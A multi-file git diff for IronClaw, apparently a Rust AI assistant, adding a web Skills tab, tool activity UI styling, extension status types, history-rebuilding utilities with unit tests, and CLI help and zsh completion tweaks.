"updatedAt": e.updated_at,
"stars": e.stars,
"downloads": e.downloads,
"owner": e.owner,
})
})
.collect();
@@ -103,6 +113,7 @@ pub async fn skills_search_handler(
catalog: catalog_json,
installed,
registry_url: catalog.registry_url().to_string(),
catalog_error,
}))
}
@@ -147,7 +158,7 @@ pub async fn skills_install_handler(
)));
};
// Parse, check duplicates, and get user_dir under a brief read lock.
// Parse, check duplicates, and get install_dir under a brief read lock.
let (user_dir, skill_name_from_parse) = {
let guard = registry.read().map_err(|e| {
(
@@ -168,7 +179,7 @@ pub async fn skills_install_handler(
))));
}
(guard.user_dir().to_path_buf(), skill_name)
(guard.install_target_dir().to_path_buf(), skill_name)
};
// Perform async I/O (write to disk, load) with no lock held.
+2 -5
View File
@@ -6,6 +6,7 @@ use axum::{
response::{Html, IntoResponse},
};
use crate::bootstrap::ironclaw_base_dir;
use crate::channels::web::types::*;
// --- Static file handlers ---
@@ -71,11 +72,7 @@ async fn serve_project_file(project_id: &str, path: &str) -> axum::response::Res
return (StatusCode::BAD_REQUEST, "Invalid project ID").into_response();
}
let base = dirs::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".ironclaw")
.join("projects")
.join(project_id);
let base = ironclaw_base_dir().join("projects").join(project_id);
let file_path = base.join(path);
+3
View File
@@ -90,6 +90,9 @@ impl LogBroadcaster {
}
/// Snapshot of recent entries for replaying to a new subscriber.
///
/// Returns entries oldest-first so that the frontend's `prepend()`
/// naturally places the newest entry at the top of the DOM.
pub fn recent_entries(&self) -> Vec<LogEntry> {
self.recent
.lock()
+4
View File
@@ -15,11 +15,13 @@
//! ```
pub mod auth;
pub(crate) mod handlers;
pub mod log_layer;
pub mod openai_compat;
pub mod server;
pub mod sse;
pub mod types;
pub(crate) mod util;
pub mod ws;
use std::net::SocketAddr;
@@ -92,6 +94,7 @@ impl GatewayChannel {
registry_entries: Vec::new(),
cost_guard: None,
startup_time: std::time::Instant::now(),
restart_requested: std::sync::atomic::AtomicBool::new(false),
});
Self {
@@ -125,6 +128,7 @@ impl GatewayChannel {
registry_entries: self.state.registry_entries.clone(),
cost_guard: self.state.cost_guard.clone(),
startup_time: self.state.startup_time,
restart_requested: std::sync::atomic::AtomicBool::new(false),
};
mutate(&mut new_state);
self.state = Arc::new(new_state);
+115 -814
View File
File diff suppressed because it is too large Load Diff
+6
View File
@@ -42,6 +42,11 @@ impl SseManager {
let _ = self.tx.send(event);
}
/// Get a clone of the broadcast sender for use by other components.
pub fn sender(&self) -> broadcast::Sender<SseEvent> {
self.tx.clone()
}
/// Get current number of active connections.
pub fn connection_count(&self) -> u64 {
self.connection_count.load(Ordering::Relaxed)
@@ -120,6 +125,7 @@ impl SseManager {
SseEvent::JobStatus { .. } => "job_status",
SseEvent::JobResult { .. } => "job_result",
SseEvent::Heartbeat => "heartbeat",
SseEvent::ExtensionStatus { .. } => "extension_status",
};
Ok(Event::default().event(event_type).data(data))
});
File diff suppressed because it is too large Load Diff
+31 -2
View File
@@ -42,6 +42,7 @@
<button data-tab="jobs">Jobs</button>
<button data-tab="routines">Routines</button>
<button data-tab="extensions">Extensions</button>
<button data-tab="skills">Skills</button>
<div class="spacer"></div>
<button class="status-logs-btn" data-tab="logs" title="Logs">Logs</button>
<div class="tee-shield" id="tee-shield" style="display:none" title="Running in a Trusted Execution Environment">
@@ -77,9 +78,9 @@
</div>
<div class="chat-container">
<div class="chat-messages" id="chat-messages"></div>
<div class="chat-status" id="chat-status"></div>
<div id="slash-autocomplete" class="slash-autocomplete" style="display:none"></div>
<div class="chat-input">
<textarea id="chat-input" placeholder="Type a message..." rows="1"></textarea>
<textarea id="chat-input" placeholder="Message or / for commands..." rows="1"></textarea>
<button id="send-btn" onclick="sendMessage()">Send</button>
</div>
</div>
@@ -231,6 +232,34 @@
</div>
</div>
</div>
<!-- Skills Tab -->
<div class="tab-panel" id="tab-skills">
<div class="extensions-container">
<div class="extensions-section">
<h3>Search ClawHub</h3>
<div class="skill-search-box">
<input type="text" id="skill-search-input" placeholder="Search for skills...">
<button onclick="searchClawHub()">Search</button>
</div>
<div class="extensions-list" id="skill-search-results"></div>
</div>
<div class="extensions-section">
<h3>Installed Skills</h3>
<div class="extensions-list" id="skills-list">
<div class="empty-state">Loading skills...</div>
</div>
</div>
<div class="extensions-section">
<h3>Install Skill by URL</h3>
<div class="ext-install-form">
<input type="text" id="skill-install-name" placeholder="Skill name or slug">
<input type="text" id="skill-install-url" placeholder="HTTPS URL to SKILL.md (optional)">
<button onclick="installSkillFromForm()">Install</button>
</div>
</div>
</div>
</div>
</div>
<div id="toasts"></div>
+558 -24
View File
@@ -458,30 +458,6 @@ body {
.message th { background: var(--bg-tertiary); }
/* Status bar */
.chat-status {
padding: 6px 16px;
font-size: 12px;
color: var(--text-secondary);
border-top: 1px solid var(--border);
background: var(--bg-secondary);
min-height: 28px;
display: flex;
align-items: center;
gap: 8px;
}
.chat-status .spinner {
width: 12px;
height: 12px;
border: 2px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.6s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.scroll-load-spinner {
display: flex;
@@ -502,6 +478,225 @@ body {
animation: spin 0.6s linear infinite;
}
/* === Tool Activity Cards === */
.activity-group {
align-self: flex-start;
max-width: 80%;
padding: 4px 0 4px 12px;
border-left: 2px solid var(--border);
margin: 4px 0;
display: flex;
flex-direction: column;
gap: 2px;
}
.activity-group.collapsed {
border-left-color: transparent;
padding-left: 0;
}
/* Thinking indicator */
.activity-thinking {
display: flex;
align-items: center;
gap: 8px;
padding: 6px 8px;
font-size: 13px;
color: var(--text-secondary);
}
.activity-thinking-dots {
display: flex;
gap: 3px;
}
.activity-thinking-dot {
width: 5px;
height: 5px;
border-radius: 50%;
background: var(--text-secondary);
animation: thinkingPulse 1.4s ease-in-out infinite;
}
.activity-thinking-dot:nth-child(2) { animation-delay: 0.2s; }
.activity-thinking-dot:nth-child(3) { animation-delay: 0.4s; }
@keyframes thinkingPulse {
0%, 80%, 100% { opacity: 0.3; transform: scale(0.8); }
40% { opacity: 1; transform: scale(1); }
}
.activity-thinking-text {
font-style: italic;
}
/* Tool card */
.activity-tool-card {
background: var(--bg-secondary);
border: 1px solid var(--border);
border-radius: var(--radius);
overflow: hidden;
transition: border-color 0.2s;
}
.activity-tool-card[data-status="running"] {
border-color: rgba(52, 211, 153, 0.3);
}
.activity-tool-card[data-status="fail"] {
border-color: rgba(230, 76, 76, 0.3);
}
.activity-tool-header {
display: flex;
align-items: center;
gap: 8px;
padding: 6px 10px;
cursor: pointer;
user-select: none;
transition: background 0.15s;
}
.activity-tool-header:hover {
background: var(--bg-tertiary);
}
.activity-tool-icon {
display: flex;
align-items: center;
justify-content: center;
width: 16px;
height: 16px;
flex-shrink: 0;
}
.activity-tool-icon .spinner {
width: 12px;
height: 12px;
border: 2px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.6s linear infinite;
}
.activity-icon-success {
color: var(--success);
font-size: 14px;
font-weight: 700;
line-height: 1;
}
.activity-icon-fail {
color: var(--danger);
font-size: 14px;
font-weight: 700;
line-height: 1;
}
.activity-tool-name {
font-size: 13px;
font-family: var(--font-mono);
font-weight: 500;
color: var(--text);
flex: 1;
}
.activity-tool-duration {
font-size: 11px;
font-family: var(--font-mono);
color: var(--text-secondary);
min-width: 36px;
text-align: right;
}
.activity-tool-chevron {
font-size: 10px;
color: var(--text-secondary);
transition: transform 0.15s ease;
width: 12px;
text-align: center;
}
.activity-tool-chevron.expanded {
transform: rotate(90deg);
}
.activity-tool-body {
border-top: 1px solid var(--border);
}
.activity-tool-output {
margin: 0;
padding: 8px 10px;
font-family: var(--font-mono);
font-size: 12px;
line-height: 1.4;
color: var(--text-secondary);
background: var(--code-bg);
max-height: 200px;
overflow-y: auto;
white-space: pre-wrap;
word-break: break-all;
}
/* Collapsed summary */
.activity-summary {
display: flex;
align-items: center;
gap: 6px;
padding: 6px 10px;
cursor: pointer;
user-select: none;
font-size: 13px;
color: var(--text-secondary);
border-radius: var(--radius);
transition: background 0.15s;
}
.activity-summary:hover {
background: var(--bg-tertiary);
}
.activity-summary-chevron {
font-size: 10px;
transition: transform 0.15s ease;
width: 12px;
text-align: center;
}
.activity-summary-chevron.expanded {
transform: rotate(90deg);
}
.activity-summary-text {
font-weight: 500;
}
.activity-summary-duration {
font-family: var(--font-mono);
font-size: 11px;
opacity: 0.7;
}
.activity-cards-container {
display: flex;
flex-direction: column;
gap: 2px;
padding-left: 12px;
border-left: 2px solid var(--border);
margin-top: 2px;
}
@media (max-width: 768px) {
.activity-group {
max-width: 95%;
}
}
/* Approval card (inline in chat) */
.approval-card {
align-self: flex-start;
@@ -613,6 +808,75 @@ body {
font-style: italic;
}
/* Tool calls summary (persisted between user/assistant messages) */
.tool-calls-summary {
background: var(--bg-secondary);
border-left: 3px solid var(--warning);
padding: 6px 12px;
margin: 4px 0;
font-size: 0.85em;
border-radius: 4px;
}
.tool-calls-header {
color: var(--text-secondary);
font-weight: 500;
user-select: none;
}
.tool-calls-header::before {
content: '\25B6';
display: inline-block;
margin-right: 6px;
font-size: 0.7em;
transition: transform 0.15s;
}
.tool-calls-header.expanded::before {
transform: rotate(90deg);
}
.tool-calls-list {
margin-top: 6px;
display: none;
}
.tool-calls-list.expanded {
display: block;
}
.tool-call-item {
padding: 3px 0;
border-bottom: 1px solid var(--border);
}
.tool-call-item:last-child {
border-bottom: none;
}
.tool-call-name {
font-weight: 500;
color: var(--text-primary);
}
.tool-call-preview {
color: var(--text-secondary);
font-size: 0.9em;
max-height: 60px;
overflow: hidden;
white-space: pre-wrap;
word-break: break-word;
}
.tool-call-error-text {
color: var(--danger);
font-size: 0.9em;
}
.tool-error .tool-call-name {
color: var(--danger);
}
/* Auth card (inline in chat) */
.auth-card {
align-self: flex-start;
@@ -1936,6 +2200,159 @@ body {
font-weight: 500;
}
/* WASM channel setup stepper */
.ext-stepper {
display: flex;
align-items: center;
gap: 0;
margin: 8px 0 4px;
}
.stepper-step {
display: flex;
align-items: center;
gap: 4px;
}
.stepper-circle {
width: 20px;
height: 20px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 11px;
font-weight: 700;
flex-shrink: 0;
}
.stepper-label {
font-size: 11px;
white-space: nowrap;
}
.stepper-step.completed .stepper-circle {
background: var(--success);
color: #000;
}
.stepper-step.completed .stepper-label {
color: var(--success);
}
.stepper-step.failed .stepper-circle {
background: var(--danger);
color: #fff;
}
.stepper-step.failed .stepper-label {
color: var(--danger);
}
.stepper-step.in-progress .stepper-circle {
background: var(--warning);
color: #000;
animation: pulse-glow 1.5s ease-in-out infinite;
}
.stepper-step.in-progress .stepper-label {
color: var(--warning);
}
@keyframes pulse-glow {
0%, 100% { opacity: 1; }
50% { opacity: 0.6; }
}
.stepper-step.pending .stepper-circle {
background: var(--bg-tertiary);
border: 1px solid var(--border);
color: var(--text-secondary);
}
.stepper-step.pending .stepper-label {
color: var(--text-secondary);
}
.ext-pairing-label {
font-size: 12px;
color: var(--warning);
font-weight: 500;
}
.stepper-connector {
width: 20px;
height: 2px;
background: var(--border);
margin: 0 4px;
flex-shrink: 0;
}
.stepper-connector.completed {
background: var(--success);
}
.ext-error {
font-size: 11px;
color: var(--danger);
background: rgba(230, 76, 76, 0.1);
border: 1px solid rgba(230, 76, 76, 0.2);
border-radius: var(--radius);
padding: 6px 8px;
margin-top: 6px;
}
.ext-note {
font-size: 11px;
color: var(--text-secondary);
background: rgba(255, 255, 255, 0.04);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 6px 8px;
margin-top: 6px;
}
/* Restart overlay */
.restart-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.8);
z-index: 2000;
display: flex;
align-items: center;
justify-content: center;
}
.restart-message {
text-align: center;
color: var(--text);
}
.restart-message h2 {
margin: 16px 0 8px;
}
.restart-message p {
color: var(--text-secondary);
}
.restart-spinner {
width: 40px;
height: 40px;
border: 3px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.8s linear infinite;
margin: 0 auto;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.btn-ext {
padding: 4px 10px;
border-radius: var(--radius);
@@ -2809,6 +3226,82 @@ mark {
transform: scale(0.98);
}
/* --- Skills tab --- */
.skill-search-box {
display: flex;
gap: 8px;
align-items: center;
margin-bottom: 12px;
}
.skill-search-box input {
flex: 1;
padding: 8px 12px;
background: var(--bg);
border: 1px solid var(--border);
border-radius: var(--radius);
color: var(--text);
font-size: 13px;
}
.skill-search-box input:focus {
outline: none;
border-color: var(--accent);
box-shadow: 0 0 0 3px rgba(52, 211, 153, 0.1);
}
.skill-search-box button {
padding: 8px 20px;
background: var(--accent);
color: #09090b;
border: none;
border-radius: var(--radius);
cursor: pointer;
font-size: 13px;
font-weight: 600;
transition: background 0.2s, transform 0.2s;
}
.skill-search-box button:hover {
background: var(--accent-hover);
transform: translateY(-1px);
}
.skill-trust {
font-size: 10px;
padding: 2px 6px;
border-radius: 8px;
font-weight: 500;
text-transform: uppercase;
letter-spacing: 0.3px;
}
.skill-trust.trust-trusted {
background: rgba(52, 211, 153, 0.15);
color: var(--success);
}
.skill-trust.trust-installed {
background: rgba(96, 165, 250, 0.15);
color: #60a5fa;
}
.skill-version {
font-size: 11px;
color: var(--text-secondary);
font-family: var(--font-mono);
}
@keyframes skillFadeIn {
from { opacity: 0; transform: translateY(8px); }
to { opacity: 1; transform: translateY(0); }
}
.skill-search-result {
animation: skillFadeIn 0.3s ease-out both;
}
/* --- Activity toolbar --- */
.activity-toolbar {
@@ -2933,3 +3426,44 @@ mark {
width: 100%;
}
}
/* Slash command autocomplete dropdown */
.slash-autocomplete {
position: relative;
background: var(--bg-secondary);
border-top: 1px solid var(--border);
border-bottom: none;
max-height: 220px;
overflow-y: auto;
z-index: 50;
}
.slash-ac-item {
display: flex;
align-items: baseline;
gap: 10px;
padding: 7px 16px;
cursor: pointer;
transition: background 0.1s;
}
.slash-ac-item:hover,
.slash-ac-item.selected {
background: var(--bg-tertiary);
}
.slash-ac-cmd {
font-family: var(--font-mono);
font-size: 13px;
color: var(--accent);
white-space: nowrap;
min-width: 130px;
}
.slash-ac-desc {
font-size: 12px;
color: var(--text-secondary);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
+50
View File
@@ -55,6 +55,10 @@ pub struct ToolCallInfo {
pub name: String,
pub has_result: bool,
pub has_error: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub result_preview: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<String>,
}
#[derive(Debug, Serialize)]
@@ -67,6 +71,21 @@ pub struct HistoryResponse {
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
#[serde(skip_serializing_if = "Option::is_none")]
pub oldest_timestamp: Option<String>,
/// Pending tool approval that needs user action (re-rendered on thread switch).
///
/// Only populated from in-memory state; not persisted to DB.
/// Server restart clears pending approvals.
#[serde(skip_serializing_if = "Option::is_none")]
pub pending_approval: Option<PendingApprovalInfo>,
}
/// Lightweight DTO for a pending tool approval (excludes context_messages).
#[derive(Debug, Serialize)]
pub struct PendingApprovalInfo {
pub request_id: String,
pub tool_name: String,
pub description: String,
pub parameters: String,
}
// --- Approval ---
@@ -193,6 +212,15 @@ pub enum SseEvent {
#[serde(skip_serializing_if = "Option::is_none")]
session_id: Option<String>,
},
/// Extension activation status change (WASM channels).
#[serde(rename = "extension_status")]
ExtensionStatus {
extension_name: String,
status: String,
#[serde(skip_serializing_if = "Option::is_none")]
message: Option<String>,
},
}
// --- Memory ---
@@ -339,6 +367,8 @@ pub struct TransitionInfo {
#[derive(Debug, Serialize)]
pub struct ExtensionInfo {
pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub display_name: Option<String>,
pub kind: String,
pub description: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
@@ -349,6 +379,12 @@ pub struct ExtensionInfo {
/// Whether this extension has configurable secrets (setup schema).
#[serde(default)]
pub needs_setup: bool,
/// WASM channel activation status: "installed", "configured", "active", "failed".
#[serde(skip_serializing_if = "Option::is_none")]
pub activation_status: Option<String>,
/// Human-readable error when activation_status is "failed".
#[serde(skip_serializing_if = "Option::is_none")]
pub activation_error: Option<String>,
}
#[derive(Debug, Serialize)]
@@ -412,6 +448,12 @@ pub struct ActionResponse {
/// Instructions for manual token entry.
#[serde(skip_serializing_if = "Option::is_none")]
pub instructions: Option<String>,
/// Whether the channel was successfully activated after setup.
#[serde(skip_serializing_if = "Option::is_none")]
pub activated: Option<bool>,
/// Whether a gateway restart is needed (activation failed).
#[serde(skip_serializing_if = "Option::is_none")]
pub needs_restart: Option<bool>,
}
impl ActionResponse {
@@ -422,6 +464,8 @@ impl ActionResponse {
auth_url: None,
awaiting_token: None,
instructions: None,
activated: None,
needs_restart: None,
}
}
@@ -432,6 +476,8 @@ impl ActionResponse {
auth_url: None,
awaiting_token: None,
instructions: None,
activated: None,
needs_restart: None,
}
}
}
@@ -508,6 +554,9 @@ pub struct SkillSearchResponse {
pub catalog: Vec<serde_json::Value>,
pub installed: Vec<SkillInfo>,
pub registry_url: String,
/// If the catalog registry was unreachable or errored, a human-readable message.
#[serde(skip_serializing_if = "Option::is_none")]
pub catalog_error: Option<String>,
}
#[derive(Debug, Deserialize)]
@@ -609,6 +658,7 @@ impl WsServerMessage {
SseEvent::JobToolResult { .. } => "job_tool_result",
SseEvent::JobStatus { .. } => "job_status",
SseEvent::JobResult { .. } => "job_result",
SseEvent::ExtensionStatus { .. } => "extension_status",
};
let data = serde_json::to_value(event).unwrap_or(serde_json::Value::Null);
WsServerMessage::Event {
+234
View File
@@ -0,0 +1,234 @@
//! Shared utility functions for the web gateway.
use crate::channels::web::types::{ToolCallInfo, TurnInfo};
/// Truncate a string to at most `max_bytes` bytes at a char boundary, appending "...".
pub fn truncate_preview(s: &str, max_bytes: usize) -> String {
if s.len() <= max_bytes {
return s.to_string();
}
// Walk backwards from max_bytes to find a valid char boundary
let mut end = max_bytes;
while end > 0 && !s.is_char_boundary(end) {
end -= 1;
}
format!("{}...", &s[..end])
}
/// Build TurnInfo pairs from flat DB messages (user/tool_calls/assistant triples).
///
/// Handles three message patterns:
/// - `user → assistant` (legacy, no tool calls)
/// - `user → tool_calls → assistant` (with persisted tool call summaries)
/// - `user` alone (incomplete turn)
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is a tool_calls record
if let Some(next) = iter.peek()
&& next.role == "tool_calls"
{
let tc_msg = iter.next().expect("peeked");
match serde_json::from_str::<Vec<serde_json::Value>>(&tc_msg.content) {
Ok(calls) => {
turn.tool_calls = calls
.iter()
.map(|c| ToolCallInfo {
name: c["name"].as_str().unwrap_or("unknown").to_string(),
has_result: c.get("result_preview").is_some(),
has_error: c.get("error").is_some(),
result_preview: c["result_preview"].as_str().map(String::from),
error: c["error"].as_str().map(String::from),
})
.collect();
}
Err(e) => {
tracing::warn!(
message_id = %tc_msg.id,
"Malformed tool_calls JSON in DB, skipping: {e}"
);
}
}
}
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
#[cfg(test)]
mod tests {
use super::*;
use uuid::Uuid;
// ---- truncate_preview tests ----
#[test]
fn test_truncate_preview_short_string() {
assert_eq!(truncate_preview("hello", 10), "hello");
}
#[test]
fn test_truncate_preview_exact_boundary() {
assert_eq!(truncate_preview("hello", 5), "hello");
}
#[test]
fn test_truncate_preview_truncates_ascii() {
assert_eq!(truncate_preview("hello world", 5), "hello...");
}
#[test]
fn test_truncate_preview_empty_string() {
assert_eq!(truncate_preview("", 10), "");
}
#[test]
fn test_truncate_preview_multibyte_char_boundary() {
// '€' is 3 bytes (E2 82 AC). "a€b" = [61, E2, 82, AC, 62] = 5 bytes
// Truncating at max_bytes=3 should not split the euro sign.
let s = "a€b";
let result = truncate_preview(s, 3);
// max_bytes=3 lands mid-€, so it walks back to byte 1 ("a")
assert_eq!(result, "a...");
}
#[test]
fn test_truncate_preview_emoji() {
// '🦀' is 4 bytes. "hi🦀" = 6 bytes
let s = "hi🦀";
let result = truncate_preview(s, 4);
// max_bytes=4 lands mid-🦀, walks back to byte 2 ("hi")
assert_eq!(result, "hi...");
}
#[test]
fn test_truncate_preview_cjk() {
// CJK characters are 3 bytes each. "你好世界" = 12 bytes
let s = "你好世界";
let result = truncate_preview(s, 7);
// max_bytes=7 lands mid-character (byte 7 is inside 世), walks back to 6 ("你好")
assert_eq!(result, "你好...");
}
#[test]
fn test_truncate_preview_zero_max_bytes() {
assert_eq!(truncate_preview("hello", 0), "...");
}
// ---- build_turns_from_db_messages tests ----
fn make_msg(role: &str, content: &str, offset_ms: i64) -> crate::history::ConversationMessage {
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: role.to_string(),
content: content.to_string(),
created_at: chrono::Utc::now() + chrono::TimeDelta::milliseconds(offset_ms),
}
}
#[test]
fn test_build_turns_complete() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
make_msg("user", "How?", 2000),
make_msg("assistant", "Good", 3000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 2);
assert_eq!(turns[0].user_input, "Hello");
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
assert_eq!(turns[1].user_input, "How?");
assert_eq!(turns[1].response.as_deref(), Some("Good"));
}
#[test]
fn test_build_turns_incomplete() {
let messages = vec![make_msg("user", "Hello", 0)];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].response.is_none());
assert_eq!(turns[0].state, "Failed");
}
#[test]
fn test_build_turns_with_tool_calls() {
let tc_json = serde_json::json!([
{"name": "shell", "result_preview": "output"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
make_msg("user", "Run it", 0),
make_msg("tool_calls", &tc_json.to_string(), 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_malformed_tool_calls() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("tool_calls", "not json", 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].state, "Completed");
}
}
+1
View File
@@ -493,6 +493,7 @@ mod tests {
registry_entries: Vec::new(),
cost_guard: None,
startup_time: std::time::Instant::now(),
restart_requested: std::sync::atomic::AtomicBool::new(false),
}
}
}
+42 -3
View File
@@ -1,6 +1,6 @@
use clap::{CommandFactory, Parser};
use clap_complete::{Shell, generate};
use std::io;
use std::io::{self, Write};
/// Generate shell completion scripts for ironclaw
#[derive(Parser, Debug)]
@@ -15,8 +15,23 @@ impl Completion {
let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string();
// Generated and output script to stdout
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
if self.shell == Shell::Zsh {
// Generate to buffer so we can patch the compdef call.
// clap_complete emits bare `compdef _ironclaw ironclaw` which
// errors if sourced before compinit. Guard it so the script
// works in all sourcing contexts.
let mut buf = Vec::new();
generate(self.shell, &mut cmd, bin_name.clone(), &mut buf);
let script = String::from_utf8(buf)?;
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = script.replace(&bare, &guarded);
io::stdout().write_all(patched.as_bytes())?;
} else {
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
}
Ok(())
}
@@ -36,4 +51,28 @@ mod tests {
generate(completion.shell, &mut cmd, bin_name, &mut buf);
assert!(!buf.is_empty(), "generate() should produce output");
}
#[test]
fn test_zsh_compdef_guard_applied() {
let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string();
let mut buf = Vec::new();
generate(Shell::Zsh, &mut cmd, bin_name.clone(), &mut buf);
let raw = String::from_utf8(buf).unwrap();
// Apply the same patching logic as run()
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = raw.replace(&bare, &guarded);
let bare_compdef = format!(" compdef _{0} {0}\n", bin_name);
assert!(
!patched.contains(&bare_compdef),
"bare compdef should not appear after patching"
);
assert!(
patched.contains("$+functions[compdef]"),
"patched output should contain compdef guard"
);
}
}
+4 -8
View File
@@ -6,6 +6,8 @@
use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
/// Run all diagnostic checks and print results.
pub async fn run_doctor_command() -> anyhow::Result<()> {
println!("IronClaw Doctor");
@@ -169,11 +171,7 @@ async fn try_pg_connect() -> Result<(), String> {
url: Some(url),
..Default::default()
};
let pool = config
.create_pool(
Some(deadpool_postgres::Runtime::Tokio1),
tokio_postgres::NoTls,
)
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
.map_err(|e| format!("pool error: {e}"))?;
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
@@ -195,9 +193,7 @@ async fn try_pg_connect() -> Result<(), String> {
}
fn check_workspace_dir() -> CheckResult {
let dir = dirs::home_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let dir = ironclaw_base_dir();
if dir.exists() {
if dir.is_dir() {
+2 -2
View File
@@ -546,10 +546,10 @@ async fn get_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Syn
.await
.map_err(|e| anyhow::anyhow!("{}", e))?;
return Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
backend.shared_db(),
Arc::new(crypto),
)));
)))
}
#[cfg(not(any(feature = "postgres", feature = "libsql")))]
+92 -8
View File
@@ -37,14 +37,18 @@ pub use service::{ServiceCommand, run_service_command};
pub use status::run_status_command;
pub use tool::{ToolCommand, run_tool_command};
use clap::{Parser, Subcommand};
use clap::{ColorChoice, Parser, Subcommand};
#[derive(Parser, Debug)]
#[command(name = "ironclaw")]
#[command(
about = "Secure personal AI assistant that protects your data and expands its capabilities"
)]
#[command(
long_about = "IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.\nExamples:\n ironclaw run # Start the agent\n ironclaw config list # List configs"
)]
#[command(version)]
#[command(color = ColorChoice::Auto)] // Enable auto-color for help (if the terminal supports it)
pub struct Cli {
#[command(subcommand)]
pub command: Option<Command>,
@@ -73,9 +77,17 @@ pub struct Cli {
#[derive(Subcommand, Debug)]
pub enum Command {
/// Run the agent (default if no subcommand given)
#[command(
about = "Run the AI agent",
long_about = "Starts the IronClaw agent in default mode.\nExample: ironclaw run"
)]
Run,
/// Interactive onboarding wizard
#[command(
about = "Run interactive setup wizard",
long_about = "Guides through initial configuration.\nExamples:\n ironclaw onboard --skip-auth # Skip auth step\n ironclaw onboard --channels-only # Reconfigure channels"
)]
Onboard {
/// Skip authentication (use existing session)
#[arg(long)]
@@ -87,44 +99,85 @@ pub enum Command {
},
/// Manage configuration settings
#[command(subcommand)]
#[command(
subcommand,
about = "Manage app configs",
long_about = "Commands for listing, getting, and setting configurations.\nExample: ironclaw config list"
)]
Config(ConfigCommand),
/// Manage WASM tools
#[command(subcommand)]
#[command(
subcommand,
about = "Manage WASM tools",
long_about = "Install, list, or remove WASM-based tools.\nExample: ironclaw tool install mytool.wasm"
)]
Tool(ToolCommand),
/// Browse and install extensions from the registry
#[command(subcommand)]
#[command(
subcommand,
about = "Browse/install extensions",
long_about = "Interact with extension registry.\nExample: ironclaw registry list"
)]
Registry(RegistryCommand),
/// Manage MCP servers (hosted tool providers)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage MCP servers",
long_about = "Add, auth, list, or test MCP servers.\nExample: ironclaw mcp add notion https://mcp.notion.com"
)]
Mcp(McpCommand),
/// Query and manage workspace memory
#[command(subcommand)]
#[command(
subcommand,
about = "Manage workspace memory",
long_about = "Search, read, or write to memory.\nExample: ironclaw memory search 'query'"
)]
Memory(MemoryCommand),
/// DM pairing (approve inbound requests from unknown senders)
#[command(subcommand)]
#[command(
subcommand,
about = "Manage DM pairing",
long_about = "Approve or manage pairing requests.\nExamples:\n ironclaw pairing list telegram\n ironclaw pairing approve telegram ABC12345"
)]
Pairing(PairingCommand),
